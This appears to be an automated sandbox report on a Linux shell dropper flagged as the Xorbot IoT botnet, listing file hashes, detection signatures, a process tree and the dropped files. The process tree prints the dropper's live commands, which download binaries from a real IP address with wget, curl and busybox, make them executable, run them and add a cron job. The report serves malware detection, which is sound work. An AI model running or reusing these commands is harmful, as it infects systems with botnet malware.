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Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    06/01/2025, 00:57

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    26909ebd103b5c17abb36dfc85e52cb4

  • SHA1

    eced3893a9140d2eb071a6a411c050d74f61aba8

  • SHA256

    30367e0773b6cd4050b48c6362f82d9032ee3a01e38e091319797f54c7b4fdf3

  • SHA512

    3618e101bb2f7b905fc69ae94d66d4fabd619b3bdca4bb4e8587a0d86e0ab68d9736b36ac420d4c1bc135283dcd9f2e12290312d6ef7f3331958b21e4ccd7584

  • SSDEEP

    192:GZyl11kwJY8SC0v3vCeEeQ8el11kwk8Uv3vCeSt:GZyl11kwJmC0v3vCeEeQ8el11kwUv3vm

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2078) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1500
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1501
        • /usr/bin/wget
          wget http://66.63.187.225/bins/Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
          2⤵
          • Writes file to tmp directory
          PID:1502
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
          2⤵
          • Writes file to tmp directory
          PID:1506
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
          2⤵
          • Writes file to tmp directory
          PID:1507
        • /bin/chmod
          chmod 777 Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
          2⤵
          • File and Directory Permissions Modification
          PID:1508
        • /tmp/Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
          ./Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
          2⤵
          • Executes dropped EXE
          PID:1509
        • /bin/rm
          rm Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
          2⤵
            PID:1511
          • /usr/bin/wget
            wget http://66.63.187.225/bins/sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
            2⤵
            • Writes file to tmp directory
            PID:1512
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
            2⤵
            • Writes file to tmp directory
            PID:1513
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
            2⤵
            • Writes file to tmp directory
            PID:1514
          • /bin/chmod
            chmod 777 sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
            2⤵
            • File and Directory Permissions Modification
            PID:1515
          • /tmp/sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
            ./sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
            2⤵
            • Executes dropped EXE
            PID:1516
          • /bin/rm
            rm sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
            2⤵
              PID:1518
            • /usr/bin/wget
              wget http://66.63.187.225/bins/6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:1519
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:1520
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:1521
            • /bin/chmod
              chmod 777 6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS
              2⤵
              • File and Directory Permissions Modification
              PID:1522
            • /tmp/6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS
              ./6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS
              2⤵
              • Executes dropped EXE
              • System Network Configuration Discovery
              PID:1523
            • /bin/rm
              rm 6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS
              2⤵
              • System Network Configuration Discovery
              PID:1525
            • /usr/bin/wget
              wget http://66.63.187.225/bins/OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri
              2⤵
              • Writes file to tmp directory
              PID:1526
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri
              2⤵
              • Writes file to tmp directory
              PID:1527
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri
              2⤵
              • Writes file to tmp directory
              PID:1528
            • /bin/chmod
              chmod 777 OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri
              2⤵
              • File and Directory Permissions Modification
              PID:1529
            • /tmp/OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri
              ./OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri
              2⤵
              • Executes dropped EXE
              PID:1530
            • /bin/rm
              rm OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri
              2⤵
                PID:1532
              • /usr/bin/wget
                wget http://66.63.187.225/bins/6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q
                2⤵
                • Writes file to tmp directory
                PID:1533
              • /usr/bin/curl
                curl -O http://66.63.187.225/bins/6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q
                2⤵
                • Writes file to tmp directory
                PID:1534
              • /bin/busybox
                /bin/busybox wget http://66.63.187.225/bins/6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q
                2⤵
                • Writes file to tmp directory
                PID:1535
              • /bin/chmod
                chmod 777 6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q
                2⤵
                • File and Directory Permissions Modification
                PID:1536
              • /tmp/6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q
                ./6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:1537
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:1539
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:1540
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:1541
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:1542
                    • /bin/rm
                      rm 6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q
                      2⤵
                        PID:1544
                      • /usr/bin/wget
                        wget http://66.63.187.225/bins/IdSZHvDtIXXxrV5u7pc2MnRRtSAHG0mJku
                        2⤵
                          PID:1547

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS

                        Filesize

                        111KB

                        MD5

                        ca897a38f23ec23521ce0b1b83f8422d

                        SHA1

                        b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                        SHA256

                        043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                        SHA512

                        10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                      • /tmp/6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q

                        Filesize

                        99KB

                        MD5

                        9438d9bc392bcf300a5583b6df5bc8f6

                        SHA1

                        375a6ae34b516f6f3eeea8030c4084f585017efa

                        SHA256

                        68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                        SHA512

                        1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                      • /tmp/Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk

                        Filesize

                        151KB

                        MD5

                        6c583043d91c55aa470c08c87058e917

                        SHA1

                        abf65a5b9bba69980278ad09356e53de8bb89439

                        SHA256

                        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                        SHA512

                        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                      • /tmp/OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri

                        Filesize

                        107KB

                        MD5

                        eb9c3a0de91fcf16ba17cb24608df68c

                        SHA1

                        09d95a7d70d5e115d103be51edff7c498d272fac

                        SHA256

                        dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                        SHA512

                        9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                      • /tmp/sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu

                        Filesize

                        111KB

                        MD5

                        701e7a55a4f3650f5feee92a9860e5fc

                        SHA1

                        6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                        SHA256

                        ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                        SHA512

                        7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                      • /var/spool/cron/crontabs/tmp.xqRTBU

                        Filesize

                        210B

                        MD5

                        c0f4660d2ada7fe963dc716a99ba5a43

                        SHA1

                        7a9166623bc7bbdc44fb18902d2caf2472acec40

                        SHA256

                        f81debb0f84b453f5c42c07d33df96352524de9e812469caa0af9d0207e8d4c4

                        SHA512

                        11ae2678bddbe138ca66c377d18e871bba67fe91737634535f1aafe7bd53672f5216a71fcfd4cf55c58f7582ff1e4409a0af90f4f3610f7a36ba6bcc88e5c54a